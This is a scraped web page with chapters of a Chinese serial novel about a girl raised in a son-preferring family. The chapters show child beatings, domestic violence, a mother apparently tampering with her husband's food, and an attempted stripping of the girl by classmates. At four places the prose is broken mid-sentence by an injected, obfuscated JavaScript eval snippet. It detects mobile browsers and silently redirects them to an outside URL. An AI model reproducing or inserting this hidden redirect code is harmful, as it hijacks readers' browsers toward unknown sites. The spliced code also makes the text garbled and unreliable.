但是别人不许打。 而且,这娃娃刚刚还提醒她,她被人苛待了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996653|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这次之后,谷佳慧终于走出了房门。身体里的血换过一遍,她也像重新活过一次。 谷佳慧坐在客厅绣十字绣,易伍就趴在她身边玩。 妈妈灵巧的手指握着锐利的针尖,在绣品上穿来穿去。 * 自打易伍有记忆起便发现,自己的妈妈好像和别人家的不太一样。 别人家的妈妈总把孩子抱在怀里。贴着,亲着,怎么看都看不够似的,眉眼里全是笑。 可她的妈妈总是闷闷不乐。 谷佳慧很少抱她,不亲近她,不给她讲故事唱摇篮曲,有时,她甚至会用很可怕的眼神瞪着她,满脸愤恨的样子。 妈妈到底在气什么呢?易伍不知道。 但她还是特别喜欢凑在妈妈身边,和妈妈亲近总能带给她一种踏实安宁的感觉。 谷佳慧身上很香,很软,夏天的时候皮肤又滑又凉,和绸缎似的。她的眉眼是那么好看,虽然她总是很严肃也很少笑,但是一旦笑起来,就会有个浅浅的酒窝。短发的她看起来那么俏丽迷人。 虽然奶奶告诉她,她没有喝过妈妈一天奶,也没有被她单独带大过一天,但她仍然无比喜欢自己的母亲,是基因赋予的天然亲近。 谷佳慧总是不苟言笑一本正经,对易伍的要求也极其严格。 她不许婆婆插手她教育孩子的事,自己做识字卡片和各种教具,把时间全花在教易伍读书识字上。 易伍需要每天定量完成当日的学习任务,才可以得到零食和玩具。 唐诗宋词、数学、英语、识字练字,日程安排得满满当当。奇怪的是,易伍也乐于配合这样的安排。 她童年的每一日几乎都是被关在紧闭的房里,与书为伴,与字帖为伍。 但只要能和妈妈在一起,她都感到愉悦,不论是做什么。 即使妈妈严肃古板,吝啬微笑和鼓励,也依旧是她最好的妈妈。 谷佳慧很快发现,易伍确实是个绝佳的学习苗子。 她记忆力超群,几乎过目不忘。四岁已经认了几千个字,可以像模像样地看书看报,唐诗宋词倒背如流,学完了一整套英文课本,甚至开始算乘除了。 婆婆总说:“一个女娃,教她那么多没用的干嘛?有空的话,应该让她多学学怎么缝衣服,怎么做饭,以后才好照顾弟弟,再大点还可以给我打下手。” 谷佳慧置若罔闻,只让易伍把背挺直,铅笔拿正了,字才能写得像样。 易伍罕有不听话的时候,但如果有,等待她的将会是暴怒的谷佳慧,以及她手边的戒尺。 谷佳慧打人的时候,是真疼。戒尺一下下重重地敲在手心最嫩的肉。她打起人来毫不留情。 有一次,易伍偷偷摸摸把小手背在身后,神色躲闪,不知道在藏些什么。 谷佳慧一脸严肃让易伍拿出来,她不肯,只倔强地抬起下巴拼命摇头。 易伍鲜有这种不服从管教的时候。谷佳慧气急,掏出戒尺,直接往她的手背骨上打去。 易伍的拳头终于因为疼痛松开,手里的陶瓷瓦片落了一地。 她的手上全是血。 “这是什么?!”谷佳慧的脸上已经风云变色。 5. 一碗汤 “你藏碎瓦片做什么!”谷佳慧气急败坏,又低头仔细瞧了一眼,这才认出碎片是卧室窗台上的小猫咪陶瓷摆件。是谈恋爱的时候,易国昌送的。 早上,她和易国昌因为二胎的问题吵架,易国昌一气之下将桌上的猫咪扫落在地,最后所有碎片都被婆婆倒进了垃圾桶。 易伍的小手在垃圾桶里到处扒拉,才把这些碎片拾了起来。 “妈妈喜欢,我......我想用胶水粘起来。”易伍低声嗫嚅,“粘不起来.....” 易伍遮掩躲闪,不愿被谷佳慧发现,因为她想把粘好后完整的猫咪送给她。 谷佳慧什么也没说,只打来一盆温水,把易伍被碎片划破的手放了进去。 * 可事情远没结束。 这次以后,易国昌和谷佳慧因为二胎,又陆陆续续爆发了无数次争吵。 彼时,易国昌已经从单位离职,自己下海创业。他借用了谷佳慧爸妈在容城的人脉,做起了纺织品生意。 千禧年商品经济蓬勃发展,改开浪潮如火如荼地席卷了整个中国大地,他就是被冲到时代浪尖上的弄潮儿。一个半大不大的作坊被他盘得风生水起,最后规模越做越大。 他的傲慢和野心也和吹气球似的,逐渐漫溢。 他们搬离了原来的职工宿舍,搬到了燕城久负盛名的富人区。 容城的亲戚朋友谈起谷佳慧时,恨不得把她捧上神坛:“人家做阔太太了,住小洋房啊,老公现在是大老板!躲过了下岗潮,又搭上了下海的东风。真是嫁得好啊,只添了个姑娘,老公都能对她这么好。各人有各命,啧啧。” 谷佳慧的父母听到他人的夸赞,只能尴尬地扭过头不搭腔。 个中辛酸苦楚,又怎会为外人道呢? 谷佳慧坚决反对生二胎。 “你是怕交不起罚款还是怎样?我告诉你,别说一个,就算十个,十个老子都养得起!”易国昌倚靠在沙发,脚翘到茶几,抽着烟等谷佳慧给他端茶。 “佑弟怎么办?”谷佳慧皱着眉头问。 “怎么办?不就像现在这样?又不会把她送走你慌什么?”易国昌觉得莫名其妙。 “如果老二是男娃,家里所有东西都要留给他,你是这么打算的吧?” “那是自然。子承父业,自古都是这样。女娃是外姓人,嫁了人就是泼出去的水,我家大业大,还能便宜姑爷啊?不过你放心,嫁妆我给她留好。”易国昌满脸不耐,把茶叶吐回杯里。 “我想想吧。” 看谷佳慧闷闷不乐也不怎么搭腔,易国昌憋着股无名火。 “谷佳慧我告诉你,别给我拿乔!结婚的时候说得很清楚,在我们家,儿子延续香火是必须的!你要不配合,我就用自己的办法解决。想拿这个威胁我,劝你省点心!” “什么办法?在外面找小的?”谷佳慧抬起头,冷笑着看他,“你不是已经找了吗,现在是正式通知我呢,对吧?” 易国昌身上腻了吧唧的不同香水味,他精致修饰用摩丝抹了的发型,还有衬衣领口不时沾上的红色印记..... 她又不是傻的。 易国昌不答她的话,只哼了一声,抬腿出了门。 易伍躲在自己房里,悄悄打开一点缝,从里向外看去。 她从小耳朵就好,所有话都听得一清二楚。除了听力惊人,她还格外早慧,很小就具备了同龄人所没有的理解能力。 她听懂了爸爸想要个儿子,可妈妈不想。 为什么人人都想要男孩呢?奶奶小时候带她,也老对着她唉声叹气,说这么聪明的娃是个男孩就好了。女娃聪明有什么用呢?越聪明读的书越多越是嫁不出去,最后只能在家当老姑娘。 * 以往每次易国昌和谷佳慧吵架,谷佳慧都会做他最喜欢的汤哄他。现在更是。 易国昌牢牢把持着家中的经济大权,谷佳慧和易伍看似富贵无忧的生活其实都需要仰他鼻息。 易伍在一旁用肉嘟嘟的手帮妈妈洗菜,看到妈妈先盛出了一大碗鱼汤放到一边,然后往剩下的汤里加进去了很多白色的粉末,她疑惑地用奶音问:“妈妈这是什么呀?” 谷佳慧冷着脸回答:“这是让汤好喝的独门秘方。” 那白白的粉末,是当时的稀罕玩意儿——雀巢的咖啡伴侣,谷佳慧每次都要放好几勺。加了这个之后,什么汤都会变得鲜白一片,还泛着股浓郁的奶香。 易伍兴奋得眼睛亮晶晶的:“我也想喝。” 谷佳慧打掉了她的手:“你不许碰。这是专门留给爸爸的。”说完,她蹲下身,郑重其事地又嘱咐了一遍,“这个汤,只能给爸爸喝,你不能碰,明白了吗?” 易伍虽然不懂为什么,但还是坚定地点了点头:“记住了,不碰。” 说完,谷佳慧把那盒咖啡伴侣放在高高的橱柜,易伍怎么也不可能够得到的地方。 接着,她又做了两盘不一样的菜。一盘是用菜籽油炒的芥蓝,另外一盘也是芥蓝,却是用厚重的猪油单独炒的。 易伍又问了:“妈妈,一样的菜为什么要做两份?” “因为妈妈爱爸爸,所以给他开小灶,做他喜欢吃的口味。” “什么是小灶?” “就是单独给他,只给他的。”谷佳慧蹲下身,看向易伍的眼神充满诡异的色彩,最后她扯动嘴角难得笑了,“走,我们吃饭去。” 她牵起易伍的小手,在桌边坐下,把没有加额外调料的汤和用菜籽油炒的芥蓝端给了她。 易伍知道,在这个家里,爸爸是享有特权的。他吃的喝的,都是独一份,旁人碰不得。 * 还在上幼儿园大班的易伍有了心事。 虽然她还是最漂亮最聪明最守纪律的好学生,是老师的心头宝,可老师却对谷佳慧说,这孩子最近笑得少了。 易伍不喜欢爸爸妈妈吵架。爸爸总是看起来很凶、声音又响又粗,妈妈在一旁垂着头无话可说,好像委屈到连为自己辩解都不会。 这个样子让她看了心里酸酸胀胀的。如果妈妈不想要弟弟,为什么爸爸非要逼她呢? 爸爸从来就很忙,好像永远在工作。即使在家,也是一个人坐在沙发上看报纸。从小他就很少对她笑,更不会陪她玩。还有爸爸给她取的名字,佑弟,不好听,她一丁点儿也不喜欢。 幼儿园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996654|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的其他小朋友都是叫芯啊,蕊啊,玉啊,静啊。可每次有新老师问起她的名字,她抬头说出“易佑弟”三个字,老师总会拍拍她的头,脸上表情很是复杂。 易伍思索了很多天,最后做出了一个大胆的决定。 这天,妈妈出门买菜,把她一个人留在家里看家。 易伍径直打开了客厅的抽屉,拿出妈妈平常做十字绣用的剪刀—— 然后,她对着家里的梳妆镜,一点点把自己齐肩的长发剪去。她原本很喜欢公主,童话故事里的公主们都留着美丽如瀑的长发,穿着闪闪发光的耀眼公主裙。 自然,她也读过小美人鱼的故事,尽管这个故事把她的心伤到不敢再看第二次。 她不明白为什么小美人鱼要用自己的歌喉和女巫交换人类的腿,鱼尾难道不好看吗?她更不明白为什么王子会忘记曾经救过她性命的小美人鱼,任由她变成泡沫。 但是此刻,她却理解了为什么小美人鱼的姐姐们愿意用自己的长发和女巫交换匕首。 只要妈妈能开心起来,头发又算得了什么呢?即使让她变成泡沫,她也只会点头答应的。 可谷佳慧果然如同故事里写的一样,毫不留情地丢掉了她用长发换来的匕首。 看着头顶狗啃刘海,穿着短裤的易伍,谷佳慧大发雷霆:“跪下!谁让你去翻大人的柜子?谁让你动剪刀?谁让你给自己剪头发?!” 戒尺又一次落了下来,这次是落满全身。 易伍只跪在那儿,梗着脖子,毫无反抗全盘接受了来自谷佳慧的虐待。 “道歉!说你错了!说你下次再也不敢了!”谷佳慧打红了眼,最后一下直接扇上了易伍的脸。 可易伍一句话也不说。 “你到底......到底为什么要自己动剪刀?”谷佳慧扇上了另外半张脸。现在易伍的一整张脸都肿起来了。 “我......我想变成男孩!你就不用要弟弟了。”易伍昂起头回答,目光很是坚定。 谷佳慧挥起的手被冻在了半空中,像被冰封印住了。 下一秒,她突然一把搂过易伍,按进怀里紧得快要窒息。歇斯底里的哭声振动了整个楼道,连声控的鹦鹉玩具都叫了起来。 易伍抬手抹掉了她的眼泪:“妈妈,你不哭了好不好?你看看我,我会比男孩更好的。” 谷佳慧点了点头,平复了半天才止住眼泪。她拉起易伍的手,找了家附近的一个理发店,让师傅好好修剪易伍的狗啃刘海。 最后易伍如愿以偿得到了和男孩子一模一样的寸头。 “佑弟,你一定要比男孩更好。”谷佳慧蹲下身,语重心长地告诉她,“这样,就没有人敢看轻你......也不会有人,再看轻我。” 可下一秒,她的眼里突然再次出现疯狂诡异的颜色,“妈妈跟你保证,属于你的东西,任何人都抢不走。这家里的一切以后都是你的,分毫不差只留给你。你相信我。” 易伍懵懂地点了点头。 她看着镜子中的自己,圆滚滚的脑袋,配上霸气的寸头,和公主没有半点关系了。 那些公主裙和公主玩具也被全部封存。她再也不需要他们了。 6. 一群小瘪三 中午,谷佳慧正在煲汤,突然接到幼儿园班主任打来的电话。 “易佑弟妈妈,你赶快来下学校,易佑弟出事了!” 谷佳慧心头一紧,手上的汤勺落了:“老师,怎......怎么了?” “她和同学打架,都打出血了!现在人家爸妈来学校要说法。你赶快过来!” 幼儿园就在离家不远的地方,是燕城最贵最好的之一,聚集了一批富人区含着金汤匙出生的孩子们。 易伍的寸头新发型在幼儿园大班引发了一场骚动。 男孩女孩都围着她打转,有的还直接上手摸她的头,不知道为什么她突然变成了现在这个样子,看起来有点怪,有点滑稽,又有点好玩儿。 班主任也好奇地来问是怎么回事。她做幼教这么久,从来没见过这么小的女孩留寸头的。 易伍甜甜地笑着回答:“因为夏天热,这样凉快,我喜欢!”寸头下还是那副机警灵巧劲儿。老师无奈地拍了拍她的头,让她继续画画。 可渐渐地,奇奇怪怪的传言突然多了起来。 几个男孩在活动课上围成一团,男孩A一脸神秘兮兮的样子:“我跟你们说,易佑弟是个阴阳人!一个阴阳人凭什么一直当班长?” 男孩B问:“什么是阴阳人?” 男孩A答:“这你都不懂?就是怪物。”他指了指男孩B的下面,“又有男生尿尿的东西,又有女生尿尿的东西。” 男孩C插嘴:“不是不是,你弄错了。我妈本来不让我说的......算了还是告诉你们吧.......我小姨在医院上班,易佑弟的爸妈在我小姨的医院吵架吵得可凶了。他们说易佑弟其实是男生,但是没有男生尿尿的东西。” 男孩D一脸坏笑,压低了声音:“难怪她剪了头发,又像男的又像女的,原来是个不男不女的妖怪。” 几个男孩这么聚集在一起嬉笑着,最后竟然打了赌:“我和他赌男,你赌女,你赌不男不女。”赌品是一包拉丝板糖。 如何验证谁赢了?他们想到了一个非常恶毒的主意。 课间,小朋友们被老师带到操场活动,一个班人很多,老师看顾不过来。易伍默默拿了个毽子,和叫欢欢的小姑娘一起,在一旁踢得欢畅。 “九十八,九十九,一百!” “哇,易佑弟你踢了整整一百个啊!好厉害!”欢欢鼓掌。 话音刚落,四个男孩突然由远及近走了过来,组成一堵人墙,将她俩团团围住。 “你们干嘛?”欢欢害怕地问。 “我们找她。”男孩A答,望着易伍一脸坏笑。 说完,还没等易伍反应,几个男生已经架起了她的胳膊,把她往老师看不见的墙角处拽去。 “放开我!”易伍奋力挣扎,“我叫老师了!” “你叫吧,老师在最那头,操场这么大这么吵,谁能听到你叫?”男孩C说。 “你们拉我做什么?”易伍迅速镇定下来,皱着眉头看他们。 “我们嘛......”男孩B的眼睛骨碌碌直转,“打了个赌,跟你有关的。”说完,他朝着男孩D使了个眼色。 男孩D立即会意,上手就要扒易伍的裤子,被易伍一脚踹开。 “我妈说了,你们这样是在耍流氓,放开我!”易伍高声警告。 男孩D被她踹倒在地,脸子挂不过去,又一次冲过去狠命按住了她,继续扒拉。 “你是不男不女的妖怪,不敢让人看!” “哈哈,易佑弟,阴阳人!易佑弟,阴阳人!” 易伍的手和脚都被其他几个男孩固定住,动弹不得,眼看着裤子就要被扯落....... 千钧一发之际,她突然冲着把住她右手的男孩A吐起了口水。 “呃,好恶心!!”男孩A立马松了手去抹脸上的口水,易伍的一只手终于得到解放。 她一秒没停,趁着A抹口水的功夫,直接一个勾拳,朝着他的脸重重挥了过去。 力气大,速度快,A瞬间被打得眼冒金星。 男孩B松了对易伍的禁锢,想上前帮助队友,却被她一把拽住——她将晕头转向的A和B两颗脑袋直接对碰。额头相撞,发出一声凄惨的闷响。 AB两人均是抱头蹲下,疼得在地上直蹬腿,哇哇大哭。 把住她脚的C想足下抹油开溜,却被易伍一个飞腿横扫在地。她直接朝着他腹部踹去,用了最大的狠劲。 三个男孩还来不及反应就被易伍一个小女孩打趴在地,连还手的机会都没有。 此时只剩下扒拉她裤子的D。 易伍一步步朝他靠近,D被吓得面无血色,拼命后退。 从始至终,易伍都不哭不闹,甚至在她脸上看不到生气、愤怒、委屈中的任何一种表情。 她只是冷静,异常冷静地一步步逼近,像一头警敏又优雅的小兽——可这样反而让D更加害怕,浑身寒毛直竖。 传闻说得没错,这确实是个妖怪。 D被吓到转身拔腿就跑,易伍直接抄起地上的石子儿,很快瞄准,然后用尽全力扔了出去—— 正中D的后脑勺!D疼得原地起跳,立即去捂后脑,却发现手上全是血。 他被吓得尖叫了一声,下一秒直接晕了过去。 做完这些,易伍发现自己在打架方面似乎有些无师自通的天赋。她确实不比男孩们弱,刚刚一个人就打了他们四个,屁滚尿流啊,算是很不错的成绩了吧?她拍了拍手,一蹦一跳地找老师报告去了。 谷佳慧来到幼儿园的时候,看到的就是这样一副诡异的情景。 易伍微笑着端坐在老师身旁,看起来软绵绵,乖巧巧的,全身上下干干净净。旁边一排站着的,是被揍得鼻青脸肿的四个男孩,模样一个赛一个的狼狈。这些男孩面前,整齐站了一排的,是他们的妈妈。 每个都脸色铁青,用吃人的眼神愤恨地盯着谷佳慧。 “老师,这......这是怎么了?”谷佳慧也不免诧异。 班主任颇为无奈:“他们说,是易佑弟趁着课间活动,把他们拉到角落,冲他们吐口水,然后又打了他们。又踢又扇又拿石头扔。但是易佑弟说.......” 她无奈地转向易伍:“要不你自己来吧。” “嗯。”易伍清了清喉咙,不紧不慢温温柔柔地开口,“课间的时候,欢欢和我在踢毽子,他们四个把我拉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996655|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙角,说打赌了我是阴阳人,要脱我裤子检查。妈妈说过,裤子下面是我们每个人的隐私部位,绝对不可以让别人随便看随便碰的。我警告了他们,他们没听,所以我只能用打架来保护自己。” 说得有理有据,逻辑清晰。 男孩C的妈妈听到“阴阳人”几个字,瞬间明白了过来,脸上红一阵白一阵的。 “不可能,我们家教很严,怎么可能去扒拉小女生裤子?就是想凑过去和她玩,跟她开个玩笑罢了。” “就是!才五六岁,能有什么性别意识啊?看着她是个女生剪了个寸头,好奇而已。倒是这小女孩子,看着柔柔弱弱的,居然能下这么狠的手啊!把我儿子打成这样,拿石头扔后脑勺,这是想往死里弄啊。” “易佑弟那叫打架吗?打架是互相打,她是把他们几个按在地上打!下这么重的手,谁能看出是个女孩子啊!有一丁点儿女孩子的样子吗?要我说,这种有暴力倾向的,就该直接送去少管所劳教!” “阿姨,书上说14岁才能去少管所的。我只是打架,可是就算我把他们都杀了,也是进不去的啊。”易伍笑得温婉纯良,语气柔和纠正着。 “你!”那家长被气得够呛,“你还想杀人啊?简直是魔鬼!从小就这么冷血,天生恶魔!难怪别人都说你是个怪胎,留着个不男不女的寸头,连B超都能男翻女,真晦气!之前一大家子在医院大闹天宫......这是一群疯子啊!老师,请立刻把她开除!我们王局的孩子从来不接受道歉!” 谷佳慧听到这里才幽幽开口:“你不接受道歉?” 说完,她顿了顿,抬眼望向这群家长,直勾勾盯着,直到他们头皮发麻。 突然,谷佳慧绽放出如花笑靥:“谁说......我们要道歉了?” 几个家长面面相觑目瞪口呆。 谷佳慧气定神闲地继续说:“我女儿替你们这些不做人的家长教育孩子呢。敢脱小姑娘裤子,混蛋成这样你们都不管?这群小瘪三现在只是挨顿打,长大了就是直接进去吃牢饭。你们应该轮流鞠躬感谢我女儿挽救了他们一生——来吧,把队排好,甭客气。” “你!”D的妈妈直接冲上前揪住了谷佳慧的衣领,“班上这么多小姑娘的裤子他不脱,偏偏脱你家的,你说她是什么问题呢?” 下一秒,谷佳慧劈头盖脸直接扇了她一耳光,声音清脆响亮:“我现在没打别人,偏偏扇了你,你说你是什么问题呢?” D的妈妈错愕,一手捂着脸,另一只手准备扇回去。 可没想到,她才刚刚举起手,易伍便蹭地一下从座位上一跃而起,从容淡定地一脚踩住了她凉鞋上露出的脚趾。 D的妈妈立刻疼得捂住了脚。 “你说我们是一家疯子,不巧我们正是。别忘了,疯子杀人,也是不用负刑事责任的哦。”谷佳慧冷笑着说。 女人捂着脚歇斯底里地大喊:“你,你!自己生不出儿子,就教唆个阴阳人来祸害我宝贝儿子!居然还打我??明天就让我老公去查你们工厂的消防!” 班主任在一旁看傻了,连拉架都忘了。 话音刚落,男孩B的父亲从门外走了进来,一群人见到他全部噤声。 7. 一间屋子 男孩B的父亲开口,不疾不徐却不怒自威:“孟旭,今天到底怎么回事?老老实实说清楚了。” 孟旭的父亲是这一圈家长里名望最高的,因为他有手眼通天的商政关系。 孟旭嗫嚅道:“是......是我们几个打了赌,赌了一包波板糖,想看易伍是不是......阴阳人,所以课间约着一起去.......去扒她裤子。” 孟旭父亲从旁按住他的头,把他本就内扣的肩膀和弯折的背脊按成了90度。然后,他和孟旭一起,对着易伍和谷佳慧深深鞠了一躬:“真的不好意思,是我们教子无方。他挨打是活该,希望令爱没有受到太多惊吓。” 说完转身看向孟旭,一副恨铁不成钢的样子:“刚才是老爸替你道歉,现在你做个男子汉,自己再说一次。” 孟旭抽抽嗒嗒地哭了:“易佑弟,对不起。我以后不敢了。” “今天带头的人不是他。”易伍冷静地说完,余光幽幽扫视了一圈剩下的三个男生。 被孟旭这么一认罪,剩下的几个妈妈们一下紧张起来,七嘴八舌地愤恨出声:“我们家一直家教很严的,绝对不会是我孩子先起头的......” “那也不可能是我们家!” “你们这是什么意思?看着我?我孩子从小到大都特别乖,肯定是跟在你们屁股后面学的。” 家长们互相指认,乱成了一团。最后几个妈都转头教育起自己孩子来:“和什么样的人学什么样,叫你和他一起玩,不学好!” 班主任终于找到说话的机会:“各位家长都请安静一下。既然现在弄清楚了,是男生们先挑事,扒女孩裤子的行为肯定是非常恶劣的,他们都需要给易佑弟好好道歉。” 几个男孩哆哆嗦嗦地说了对不起。 班主任又转向易伍:“但是你下手确实也是太重了,都见血了。以后不要用暴力解决问题啊,你是个小女生,真打起架来,你不占优的。有什么事可以直接找老师嘛。” 易伍很小声地点头说是。 这场闹剧终于结束。 谷佳慧领着易伍回家,路上一句话也没说。回到家后,易伍直接扑通跪下,双手奉上戒尺。 “我没说要打你。”谷佳慧的声音难得温柔。 “我错了妈妈。我不应该打人。”易伍低着头嗫嚅。 “你这话才是错了。”谷佳慧摸着她的头,把她扶起来,“今天你如果任人欺负,让人扒了裤子,那我一定教训你。” 易伍猛地抬头,疑惑不解地望着谷佳慧。 谷佳慧一字一句地说:“我说的话你记住了,这样很好。绝对不许任何人碰你的隐私部位,这非常非常重要。今天你打了他们,做得对。打得一拳开,免得百拳来。” 易伍低头扭着手指:“可是老师和他们的家长都说我下手太重了。还有......他们为什么会说我是什么阴阳人?” 谷佳慧摸了摸她的头:“下手不重怎么能立威?又怎么能让他们长记性?要么不出手,一旦出手,就一定要赢。一次打得他们心服口服,以后才不敢再欺负你。出什么事情,都有我给你兜着,就像今天这样。什么阴阳人?你别听他们胡说,你就是女孩,一直都是。” “可是......老师说,下次遇到这种情况,应该先找她,而不是自己解决。我应该听妈妈的,还是听她的?” “当然听我的。他们欺负你,又怎么会挑老师在场的时候?”谷佳慧鼻子里哼了一声,“而且,有的老师就是和稀泥。孩子那么多,只要不出大事,他们都睁只眼闭只眼的,还能真的去管你?” 说着,谷佳慧把住易伍的肩膀,认真看向她的眼:“记住,这个世界上最值得信任的人就是你自己,你要懂得保护自己,千万不要把希望放在别人身上。” * 这天易国昌回家,得知易伍打人的事情后大发雷霆,和谷佳慧爆发了有史以来最激烈的一次争吵。 “这就是你养的好女儿?一个姑娘家剪个寸头,不三不四,不男不女!我花这么多钱送她去最好的学校,还指望她和同学把关系处好,家长之间走动起来帮我拉些人脉。好家伙,人脉没拉到,全部得罪了个光!她打的人里,有我大客户的儿子,还有负责质检的局长儿子。得罪这些人,我生意还要不要做了?”易国昌疯狂咆哮着。 “佑弟是因为你想要儿子才去剪的头发。你要现在说一个女儿就够了,她可以马上把长头发留回来。”谷佳慧语言上夹枪带棒,目光却十分温柔地看向易国昌,“那些男生想扒她裤子,佑弟完全是自保。她压根不是喜欢惹事的孩子。” “剪个寸头就能当儿子了?你们娘俩把我当猴耍呢?......别的比不过,惹是生非方面,她倒是一点也不比男孩差!这才多大,一个姑娘家居然打趴了四个男孩,还让人见了血,我小时候都没她这么能打!都说苍蝇不叮无缝的蛋,为什么他们偏偏只扒了她裤子,不扒别人的?还不是因为她不男不女,像个妖怪!” 易国昌上气不接下气地继续说,“就这样,你,你还继续纵容她?非要养得无法无天,成了女流氓女阿飞,丢尽我们易家的脸,你就满意了?” 他越说越气,最后猛地冲出房门,像抓鸡仔一样一把薅起在客厅安静看书的易伍。 “老子今天必须打到你长记性为止!看你还敢不敢在外面随便跟人斗狠!”说完,他已经将手扬起,巴掌狠戾地一下抽到易伍脸上。 易伍的脖子被衣领勒着,脸被扇着,脸颊胀得通红。可她不哭不叫也不哼,只目光呆滞地任由他打。 易国昌见她一副倔脾气扛着,不愿认错也不服输,越发生气,下手越来越重,易伍的脸逐渐肿了起来。 不管谷佳慧在旁边怎么苦苦哀求,他像见血了的野兽,打得越来越兴奋,完全不停手。 “老公,消消气!别打了,再打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996656|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑弟要出事了!”谷佳慧把住他的手臂,声音已经带了哭腔。 易国昌粗鲁地将她一把推开:“你不会管教,我就帮你管。滚回房间去!这里没你事。” 谷佳慧又上前拉开了几次,每次都是被狠狠甩开,最后只能跪倒在地。 反复几次之后,她愤恨地皱起眉头,把心一横,窈窕的身子贴上了易国昌的后背:“老公,你......你不是想要个弟弟吗?我们再试试,好不好?” 这句话倒是立即击中了易国昌的心。等了这么久,谷佳慧总算是松口了。他愣了半秒,停下了打人的手,把易伍放了下去。 易伍跪趴在地上,艰难呼吸。 然后,她眼睁睁地看着易国昌将谷佳慧打横抱起,径直往卧室走去。才从快要窒息的难受中缓过来,易伍一下也没停,直接手脚并用地爬了过去,一把抱住了易国昌的腿:“不要进去!你放了我妈妈!” 易伍年纪尚小,并不知道接下来会发生什么事,但是没来由地,心像跳到了嗓子眼,不安到了极点。这种不安中,还夹杂着阵阵恶心。 直觉告诉她,易国昌即将对谷佳慧做的不会是什么好事。他们要踏进的那间屋子,是个会吸食人精气的怪兽,一旦放谷佳慧进去,她就会被吃掉。 她不要妈妈用讨好易国昌的方式去救她。她宁愿被易国昌打死。 易国昌瞥眼看到易伍抱住自己小腿的手,满脸的不耐,一个抬腿像踹掉一条哈巴狗一样,将易伍一脚踢开:“今天先放你一马,还不滚一边去!” 易伍还是不撒手:“我错了,爸爸我错了。我以后再也不和人打架了。你放妈妈下来。”她梗了半天的头终于低了。 这次,易国昌直接踩上了她的手指。易伍痛得五官拧成了一团。 谷佳慧惊呼:“你跟一个孩子计较什么?!”说完她转身看向易伍,恳切命令道,“佑弟自己去看书,快,快去啊!” 门砰地一下被关上了,随后嘎达一声反锁。 易伍在门外嚎啕大哭。 她从未哭得如此悲切绝望过,声声如杜鹃泣血。 被谷佳慧打,被易国昌扇,被四个男孩欺负,都未曾掉下的眼泪,现在汹涌澎湃在她的眼眶,疯狂落了满脸。 她开始后悔自己打架了。 多年以后,当易伍在高中生物课上学到青蛙为了繁殖抱对时,她总会不由自主地回忆起这个时刻。 只要回忆起,就觉得无比的恶心,是翻江倒海快要把隔夜饭吐出来无法名状的恶心。 男人,性,生育,每一样都令她恶心到几欲作呕。 人和动物,本质上有什么区别呢?都是被激素支配,被繁殖欲控制的傀儡罢了。 时至今日,她依然不理解。不相爱的人怎么能做.爱,明明在外面有情人还在逼迫自己妻子生男孩,自己明明是女儿却被当成牲畜一样对待。 她到底做错了什么? 8. 一位哥哥 谷佳慧开始专心备孕,每天给易国昌熬好中药。放在一边的时候,她再三对易伍嘱咐:“这是你爸的东西,你可千万别碰。” 她爸是童话里的皇帝吗?易伍每次听她这么说,眸子总会冷下去。 易伍回到学校,她一挑四的故事已经名扬千里。 那几个被她打了的男生,在幼儿园看到她都害怕到绕道走。可他们心里的气没消,也远远不想善罢甘休。恶童的世界里没有任何道德可言,他们采取了另一种更极端的报复形式——离间。 易伍的耳朵好,这几个人对着班上其他小朋友窃窃私语,她听得真切。 “不男不女,恶心死了。”“她绝对是个男的,力气那么大。”“你们都离她远点,看看我被打的,我妈说我都要留疤了!”“谁要跟她玩,谁就不是我朋友!”“我爸说有人天生就喜欢打人杀人,她杀人都不用被警察抓的!”“我妈说她是男变女的妖怪。” 他们的父母回去后只教育了他们不能随便掀小姑娘的裙子,会被当成流氓抓起来,可没嘱咐他们不能随便孤立别人。 一时间,易伍成了众矢之的。 * 课间,她想去洗手间。男生女生一般是分拨上的,可她还没有进到隔间,就被几个女生拦了出来,她们高高在上盛气凌人。 